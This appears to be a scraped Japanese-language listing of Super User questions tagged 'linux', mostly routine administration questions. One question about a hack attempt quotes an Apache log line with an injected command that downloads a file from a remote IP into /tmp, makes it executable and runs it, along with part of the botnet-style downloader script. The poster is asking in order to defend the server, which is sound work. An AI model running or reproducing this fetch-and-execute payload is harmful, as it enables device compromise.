タグ付けされた質問 「linux」

Linuxカーネルを使用するUnixライクなオペレーティングシステムのファミリ。特定のディストリビューションのみに関する質問の場合は、より具体的なタグを使用してください。

7
失敗した場合、Linuxバックグラウンドプロセスを自動的に再起動する方法は?
バックグラウンドでinit.dスクリプトによって実行されるプロセスがあります。例えば: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac 特定の条件では、myprocessが失敗して戻ることがあります。障害を検出して自動的に再起動する方法(標準)はありますか?
32 linux  bash  process  daemon 

6
rsyncを使用して変更されたファイルを印刷する方法は?
実際にファイルを転送することなく、異なるすべてのファイルへの完全なファイルパスを印刷するためにrsyncを取得する方法はありますか? または、サイズの変更または最終変更時刻のみに基づいて、2つのツリー間で(SSHを介して)ファイルを比較する方法が必要です。
32 linux  bash  rsync  diff 



5
ディレクトリが存在する場合、「ファイル名が一致しません」というファイルを解凍しようとしています
名前のディレクトリにJoomla_3.0.3-Stable-Full_Package.zipという名前のファイルを解凍しようとしたときに、Joomlaの私は、ファイル名が一致していない取得します。何故ですか? [root @ Feddy Joomla]#unzip -Z Joomla_3.0.3-Stable-Full_Package.zip / opt / lampp / htdocs / joomla / アーカイブ:Joomla_3.0.3-Stable-Full_Package.zip 注意:ファイル名が一致しません:/ opt / lampp / htdocs / joomla / ディレクトリのスクリーンキャストは次のとおりです。 (joomlaディレクトリは空です)
32 linux  terminal  fedora  zip 

8
Linuxでファイルをコピーし、宛先にファイルが存在する場合はコピーを避けます
この質問は、Super Userで回答できるため、Stack Overflowから移行されました。 9年前に移行され ました。 / home / userフォルダーをあるハードディスクから別のハードディスクにコピーする必要があります。100,000個のファイルと約10Gのサイズがあります。 私が使う cp -r /origin /destination リンクの破損や権限などが原因でエラーが発生することがあります。そのため、エラーを修正し、再度コピーを開始する必要があります。 コピー先のフォルダーにファイルが存在する場合、ファイルを再度コピーするのではなく、もう一度コピーしようとすると、コマンド "cp"にどのように伝えることができるのでしょうか。
32 linux  bash 

5
MySQLを再起動する方法
私はMySQL 5.1.54を実行しており、コマンドを使用して端末からUbuntuにインストールしました sudo apt-get install mysql-server my.cnfファイルを変更し、データベースを停止してから起動したいと思います。私は次を試しました sudo /usr/bin/mysqld_safe stop 私の質問は、データベースが停止していることをどのようにして知るのですか?上記のコマンドを実行すると、 sudo mysql -uuser -ppassword データベースにすぐにログインできます。データベースが実行されていないことを教えてはいけませんか? 助言がありますか?ありがとうございました。 編集: 私も試しました mysqladmin -uuser -ppassword shutdown その後 ps aux | grep mysql 次の出力が得られます david 12093 0.0 0.0 6052 1276 pts/1 T May10 0:00 nano /etc/mysql/my.cnf root 12267 0.0 0.0 6396 1436 pts/1 T …
32 linux  ubuntu  mysql 


2
実行中の64ビットWindows 7内で最小限のLinuxを実行する方法
以前のWindows Vistaラップトップでは、同様のandLinuxのように、coLinuxベースのPortable Ubuntu Remix for Windowsを実行していました。これは、限られたシステムリソース(2 GB 32ビットWindows Vistaホスト上に256 MB RAMを搭載したUbuntu 08.04 VM)で十分に機能しました。開発作業をWindowsからLinuxにすばやく移植したり、「本当の」(私が持っているCygwinのみ)Linuxシステムを外出先で利用できるようにした。 今、私は8 GBの64ビットWindows 7ラップトップに移行しましたが、残念ながらcoLinuxはまだ64ビットに移植されておらず、まもなくそうなるとは思われません。ほとんどの32ビットソフトウェアはWindowsで「機能する」だけですが、coLinuxはカーネルドライバーが原因では機能しません。したがって、好ましいアプローチ(cp。Windows XP内でLinuxを実行する、つまりデュアルブートしない、WindowsとLinuxを同時に実行する最も効率的な方法は何ですか?)はもう機能しません。 私の最善のアイデアは、VirtualBoxで64ビットUbuntu 12.10 VMをセットアップすることですが、シームレスモードにもかかわらず、ホストWindows OSとの統合はポータブルUbuntu(ウィンドウを表示するためにXmingを使用する)ほどスムーズではないことを恐れています)、両方の世界を行き来するには、ホストキーを常に操作する必要があります。 これにどのように取り組みますか? (できれば無料で侵入のない)仮想化ソリューションは、ホスト統合をより適切に処理しますか? または、非GUIモードで起動し、Xmingを使用してSSH経由でXアプリケーションを起動するだけですか? ゲストOSのサイズ設定に関する推奨事項は何ですか(一部の端末、エディター、およびコンパイラーのみを想定)。 専用の最小限のLinuxディストリビューションは、少ないリソースで実行するのにより適していますか?

2
256色と線画の両方の文字をPuTTYで機能させる
UbuntuでPuTTYを設定するのに問題があります。 256文字のサポートと同様にaptitudeでラインキャラクターを動作させようとしていますが、どちらか一方しか取得できません。 Ubuntu Config 64ビットUbuntuの使用 端末タイプxterm-256colorまたはputty-256colorは256色ですが、誤った行文字を提供します。 ターミナルタイプlinuxでは、適切な行が適切に表示されますが、16色しかありません。 PuTTY構成 Unicode文字でのフォントの使用。(DejaVu Sans Mono) 受信データはUTF-8であると想定されます。 Unicodeの線画コードポイントを使用するように設定します。 からの出力locale: LANG=en_US.UTF-8 LANGUAGE= LC_CTYPE="en_US.UTF-8" LC_NUMERIC="en_US.UTF-8" LC_TIME="en_US.UTF-8" LC_COLLATE="en_US.UTF-8" LC_MONETARY="en_US.UTF-8" LC_MESSAGES="en_US.UTF-8" LC_PAPER="en_US.UTF-8" LC_NAME="en_US.UTF-8" LC_ADDRESS="en_US.UTF-8" LC_TELEPHONE="en_US.UTF-8" LC_MEASUREMENT="en_US.UTF-8" LC_IDENTIFICATION="en_US.UTF-8" LC_ALL=

1
bashをよりTABフレンドリーにする方法はありますか?
Macとcygwinシェルの両方でbashを使用しています。全体として、私は非常に満足しています。 しかし、私の1つの不満は、そのTAB補完がWindowsコマンドラインTAB補完ほど良くないということです。 たとえば、同じプレフィックスのファイルが2つある場合、TABを完了しようとするとbashがビープ音を鳴らします。TABを釘付けし続けると、最終的には潜在的なファイルのリストが表示されます。 私は、Windowsがコマンドラインで潜在的なファイルを循環する方法を間違いなく好みます。 この点でbashをWindowsコマンドラインと同様に動作させる方法はありますか? 存在しない場合(シェルを切り替えたくない)、bashのTAB補完について何かが足りませんか?それを使用するより効率的な方法はありますか?


3
FFMPEGを使用して一連の1000のPNG画像から非圧縮AVIを作成する方法
FFMPEGを使用して、一連の1000枚のPNG画像から非圧縮AVIを作成するにはどうすればよいですか? このコマンドを使用して、input.aviファイルを一連のPNGフレームに変換しました。 ffmpeg -y -i input.avi -an -vcodec png -s 1024x768 pic%d.png` 次に、これらすべてのPNGフレームから非圧縮AVIビデオを作成する方法を知る必要があります。私はこれを試しました: ffmpeg -i pic%d.png -y -f avi -b 1150 -s 1024x768 -r 29.97 -g 12 -qmin 3 -qmax 13 -ab 224 -ar 44100 -ac 2 test.avi しかし、結果のビデオは、元のAVIに比べて多くの品質を失います。
31 linux  video  ffmpeg  png 

2
このbashスクリプトは何をしますか?[ハックの試み]
私は最近、サーバーのApacheログに気付いていましたが、最近次の奇妙な行があります: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" そこで、カスタムFail2Banフィルターを作成し、これらの/login.cgi URLを要求するIPの禁止を開始しました。 しかし、私は彼らが何をしようとしていたのか興味があったので、彼らが実行しようとしているスクリプトを引っ張ったので、それが何をしているのか正確には分からないようです。/ varおよび/ tmpのarchフォルダーを削除する方法はありますか? とにかく、ここにあります: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …

3
Linuxのrmを元に戻しますか?[複製]
重複の可能性: UNDO LINUX Trash Command こんにちは、 rmコマンドを元に戻す簡単な方法はありますか? 問題は純粋に理論的なものです。昼食時間をかけて実行したベンチマークキューのログを削除したことはありません。
31 linux  undo  rm 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.